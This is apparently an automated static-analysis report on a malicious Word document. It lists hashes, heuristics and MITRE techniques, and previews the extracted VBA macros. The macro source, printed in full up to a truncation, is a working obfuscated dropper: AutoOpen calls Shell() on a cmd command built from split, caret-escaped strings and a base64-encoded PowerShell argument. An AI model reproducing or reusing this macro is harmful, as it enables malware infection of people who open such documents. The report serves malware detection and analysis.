Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af1c8f44a9720946…

MALICIOUS

Office (OLE)

101.5 KB Created: 2018-06-06 06:39:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 5a07f7dcf098224e8eb4bf6e5d7d55af SHA-1: 6e6e36be851cab2f691d686f16e3284909992c21 SHA-256: af1c8f44a97209461bf20c992a3f23e3ff7a0baaf0f1d4474f0909214c14610f
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen subroutine and the mPDjjDmk function both call the Shell function, indicating an attempt to execute arbitrary commands. The script appears to be obfuscated, but the presence of the Shell() call is a critical indicator of malicious intent, likely to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11375 bytes
SHA-256: 2ee270d9f7960718c953ca2fc149c31adb097c22312bea09ba7f9e6193e512bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ziuMCubYl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function mPDjjDmk()
On Error Resume Next
Diuml = Hex(GBzLMm + Hex(rKYjX) * 99339 + Round(wwHpaK))
JCtSvj = Cos(TEPcE)
sdiSR = CDate(nRCfHV)
hGGbEL = Cos(wwwEtR)
KXFJE = Hex(nDTSp + Hex(mWcHX) * 72078 + Round(LwtMdK))
dQviZ = Cos(zhduw)
DDwim = CDate(ljYETo)
TwGIQL = Cos(wnpXHp)
mPDjjDmk = KfIsSUPSYqX + Shell(TFZjUpY + Chr(RuLijJzspUT + vbKeyC + KIbhNo) + CGrWHtscHf + XNbIiwF + WZMXTuZ + MzwAiX + jTJBQjBtJwj + hDJrzqizz, 57795 - 57795)
QYEtiK = Hex(htPUH + Hex(risYw) * 13397 + Round(GctZM))
UXQNZW = Cos(vVHTLl)
alDqnJ = CDate(kUvRaA)
mnffhz = Cos(dRfqwJ)
End Function
Sub Autoopen()
On Error Resume Next
WWYMLc = Hex(VZCmCw + Hex(DVwwVK) * 17650 + Round(coiloz))
XApAJ = Cos(zWEPY)
QOcsi = CDate(Fawjr)
zUoujh = Cos(oiBCCw)
mPDjjDmk
nWFwr = Hex(zzsTzv + Hex(ijWWoJ) * 24390 + Round(paCnW))
khOMaw = Cos(PiUwrH)
zbUvoi = CDate(EHfNtj)
wwDLV = Cos(MSdHYz)
End Sub


Attribute VB_Name = "SABYzBjBNF"
Function CGrWHtscHf()
On Error Resume Next
KSiNN = Hex(JGsoSt + Hex(AlkQK) * 31521 + Round(hULCMB))
pAEfi = Cos(XtUFZ)
ljuVnH = CDate(YGRMZ)
PBhqGb = Cos(MKUFo)
Riolf = "md plP" + "JIwiIqinJo KjS" + "jWfIMmfwB" + "Mp" + "OtocRa" + "sZ aSNWcuBclOtb" + " &   "
nqdGQ = Hex(qSfDnz + Hex(vscOX) * 76467 + Round(jPCqDN))
ZiaMoj = Cos(TivzAh)
jkzuqi = CDate(IjwzRK)
XnnDDB = Cos(oErwS)
jwSRmihv = "  %^c^o^m^S^p^E" + "^c^%     %" + "^c" + "^o^m^" + "S^p^E^c^%     " + "/V    "
bNhOWG = Hex(AfEwMf + Hex(QuiPWW) * 5287 + Round(qIwzjR))
jGvYpF = Cos(CiaLPb)
jqqYEB = CDate(Zbbvqf)
YRZZd = Cos(wzAop)
wDsHPqEDcD = "     /" + "c         " + "  set %Zj" + "Rdi"
VrwoKH = Hex(DGRFZb + Hex(wGiTc) * 97515 + Round(YdQAml))
tmqCi = Cos(fBcmR)
PcPHMA = CDate(NKsSjL)
QwOjoY = Cos(IJUbD)
NQHsKQw = "cwjK" + "juVSbp%=jWC" + "RJfIESlj" + "sd" + "W&&set %Haoz" + "LirSU" + "Y%=p&&set " + "%R"
NkzdrC = Hex(jzIWDz + Hex(YIBUJq) * 83128 + Round(jnwwsR))
TvjJJ = Cos(dMOaiW)
Snrco = CDate(wzHzSM)
QBKhtK = Cos(ciNqu)
atDqHOuLb = "asCRowiY" + "Ajd%=o^w&&se" + "t %qnTO" + "oMXz" + "iztpbuX%" + "=EAECvOL" + "bR"
Dvwnuf = Hex(jivvT + Hex(ITHLv) * 26934 + Round(KUbCjj))
zfnaB = Cos(whDDUF)
sQlFON = CDate(BDUSSc)
fjTtGN = Cos(UDqVu)
CYWYub = "uXML" + "&&set %puEunRU" + "Ff" + "Wk%=!%Haoz" + "LirSUY%!&&" + "set %w" + "tGGopHBDn" + "cchoE%=UDOja"
LaQErp = Hex(EuiWnS + Hex(SvLVHZ) * 70666 + Round(wjJNs))
YMvkUc = Cos(anPbc)
tlAwF = CDate(PtYrVN)
Ascjv = Cos(wzfhnm)
vwzDVWp = "hinb" + "a&&set %Xv" + "FNKkK%=e^r&&" + "set " + "%jGiZjiUBlt" + "Lqw%=!"
qZrIw = Hex(fYrhzn + Hex(ZdiAU) * 49262 + Round(zbfwH))
wjBND = Cos(KmzqC)
vbiwJ = CDate(ftrET)
fNNPU = Cos(usAcz)
JDZSOM = "%RasCRowiYAj" + "d%!&&set %" + "PFFRmNJkT" + "GtLiR%=s&&se" + "t %bbszuoKomE" + "njnE" + "Q%=ANbZOaH" + "DzqJf"
WddjcR = Hex(mjkYzo + Hex(STSOc) * 84618 + Round(kiqzu))
ivJPT = Cos(jafhvQ)
cjkuoP = CDate(RwaamA)
mlunj = Cos(zuqXUF)
irJWhFOjVm = "k&&set %idTADM" + "qVb%=he&&" + "set %kbPYdH" + "kNrBVmkf%=ll&&"
CGrWHtscHf = Riolf + jwSRmihv + wDsHPqEDcD + NQHsKQw + atDqHOuLb + CYWYub + vwzDVWp + JDZSOM + irJWhFOjVm
End Function
Function XNbIiwF()
On Error Resume Next
EcmlX = Hex(BPjznB + Hex(TAlUjc) * 36357 + Round(zokuL))
ahpNai = Cos(WoJpCo)
pGlHlz = CDate(wIWor)
tHnCqM = Cos(bhqmN)
bnViF = "!%" + "puEunRUFfWk%!" + "!%jGi" + "ZjiUBltLqw%!!" + "%XvFNKkK%!!%" + "PFFR" + "mNJkTGtLiR" + "%!!%i" + "dTADMqVb%!!%"
nwMbf = Hex(oUkrCd + Hex(LSbZT) * 49445 + Round(wCPAHw))
XXHPzt = Cos(LSmjq)
DSJPl = CDate(hAzzI)
MfWlj = Cos(UhpQz)
Muibld = "kbPYdHkN" + "rBVmk" + "f%!  -e LgAgACg" + "AIAAkAHAAcwBoA" + "G8AbQBFAFsANA" + "BdACsAJABw" + "AHMASABPAG0AZQ"
bCjqzA = Hex(sdSiit + Hex(PjQqaX) * 97018 + Round(nNwalb))
JRmUj = Cos(iorAwJ)
tuAsr = CDate(vlQzqZ)
iPWuYP = Cos(fTAsJ)
wHnTwSm = "BbADMA" + "MABdACsA" + "Jw" + "BY" + "ACcAKQAgACgAbgB" + "FAFcALQBvAG" + "IAag
... (truncated)

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